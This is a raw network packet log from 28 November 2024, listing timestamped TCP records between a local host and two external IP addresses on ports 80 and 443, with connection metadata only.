Nov 28, 2024 02:27:46.217456102 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.217504978 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.217739105 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.217786074 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.217926025 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.218025923 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.218079090 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.218923092 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.218981028 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.219017029 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.219058037 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.219924927 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.219995022 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.220232010 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.220276117 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.221009970 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.221052885 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.221096039 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.221188068 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.222018003 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.222076893 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.222101927 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.222148895 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.223031998 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.223098993 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.223129034 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.223169088 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.224098921 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.224167109 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.224241018 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.224287987 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.225119114 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.225172997 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.225202084 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.225243092 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.226150036 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.226198912 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.226257086 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.226344109 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.227195024 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.227241039 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.227283001 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.227477074 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.228213072 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.228261948 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.228297949 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.228338003 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.229263067 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.229304075 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.229377985 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.229418993 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.230258942 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.230299950 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.230369091 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.230431080 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.231331110 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.231376886 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.231410027 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.231446981 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.232345104 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.232391119 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.232469082 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.232508898 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.233386040 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.233437061 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.233478069 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.233519077 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.234561920 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.234693050 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.234731913 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.234731913 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.235666990 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.235703945 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.235740900 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.236020088 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.300878048 CET	443	49883	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.301589966 CET	49883	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.301621914 CET	443	49883	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.302150011 CET	49883	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.302155018 CET	443	49883	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.342442989 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.342503071 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.342555046 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.342670918 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.342902899 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.342951059 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.342993021 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.343034029 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.343967915 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.344026089 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.344064951 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.344105959 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.344966888 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.345033884 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.345066071 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.345105886 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.345994949 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.346067905 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.346139908 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.346256971 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.347048044 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.347114086 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.347153902 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.347198009 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.348095894 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.348160982 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.348176003 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.348222017 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.349114895 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.349173069 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.349224091 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.349394083 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.350131035 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.350198030 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.350230932 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.350274086 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.351161003 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.351219893 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.351285934 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.351762056 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.352191925 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.352298021 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.352349043 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.353233099 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.353348017 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.353398085 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.354293108 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.354357004 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.354415894 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.354460955 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.355295897 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.355366945 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.355396032 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.355436087 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.356358051 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.356431007 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.356442928 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.356487036 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.357352972 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.357407093 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.357455969 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.357702017 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.358427048 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.358479977 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.358546972 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.358611107 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.359527111 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.359613895 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.359642029 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.359704971 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.360471964 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.360538006 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.360570908 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.360610962 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.361512899 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.361577988 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.361610889 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.361771107 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.362560987 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.362632036 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.362658978 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.362776995 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.363595009 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.363657951 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.363691092 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.363728046 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.364608049 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.364670038 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.364885092 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.364933014 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.365669966 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.365725040 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.365776062 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.365823030 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.366689920 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.366755962 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.366789103 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.366827011 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.367727995 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.367777109 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.367862940 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.367963076 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.368736029 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.368782043 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.368849993 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.368891001 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.369786024 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.369837999 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.369870901 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.369914055 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.370842934 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.370908976 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.370968103 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.371014118 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.371861935 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.371901989 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.371974945 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.372018099 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.372893095 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.372935057 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.372972965 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.373020887 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.373900890 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.373946905 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.373986959 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.374030113 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.374943972 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.374989033 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.375050068 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.375097036 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.375974894 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.376019001 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.376173973 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.376214981 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.377007961 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.377060890 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.377105951 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.377144098 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.378027916 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.378071070 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.378142118 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.378843069 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.379061937 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.379101992 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.379153013 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.379262924 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.418801069 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.418889046 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.418946028 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.467474937 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.467531919 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.467533112 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.467571020 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.467876911 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.467916965 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.467972994 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.468023062 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.468508959 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.468602896 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.468605995 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.468642950 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.469536066 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.469582081 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.469664097 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.469703913 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.470550060 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.470607996 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.470666885 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.470712900 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.471589088 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.471651077 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.471698046 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.471738100 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.472621918 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.472691059 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.472732067 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.472776890 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.473639965 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.473743916 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.473793983 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.474703074 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.474781036 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.474836111 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.474873066 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.475728035 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.475766897 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.475847960 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.475887060 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.476771116 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.476844072 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.476874113 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.476911068 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.477768898 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.477838993 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.477885008 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.477926970 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.478809118 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.478861094 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.478938103 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.479018927 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.479861021 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.479928017 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.479973078 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.480011940 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.480875015 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.480940104 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.480990887 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.481035948 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.481894016 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.481954098 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.481992006 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.482033968 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.482942104 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.482995033 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.486061096 CET	443	49887	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.486463070 CET	49887	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.486484051 CET	443	49887	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.486895084 CET	443	49887	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.487298012 CET	443	49888	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.487389088 CET	49887	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.487489939 CET	443	49887	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.487982035 CET	49888	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.487998009 CET	443	49888	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.488316059 CET	49887	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.489056110 CET	443	49888	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.489125013 CET	49888	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.489569902 CET	49888	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.489576101 CET	443	49885	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.489664078 CET	443	49888	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.489701033 CET	49888	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.490092993 CET	443	49884	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.490134001 CET	49885	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.490149021 CET	443	49885	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.490300894 CET	443	49884	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.490359068 CET	49884	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.490400076 CET	49884	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.490417004 CET	443	49884	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.490427971 CET	49884	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.490433931 CET	443	49884	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.490945101 CET	49885	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.490948915 CET	443	49885	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.493633032 CET	49899	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.493681908 CET	443	49899	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.493767977 CET	49899	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.495321989 CET	49899	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.495335102 CET	443	49899	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.535332918 CET	443	49888	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.535346985 CET	443	49887	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.543653965 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.543690920 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.543731928 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.543757915 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.544126987 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.544176102 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.544241905 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.544277906 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.544917107 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.544980049 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.545017958 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.545053959 CET	49823	80	192.168.2.6	185.215.113.206
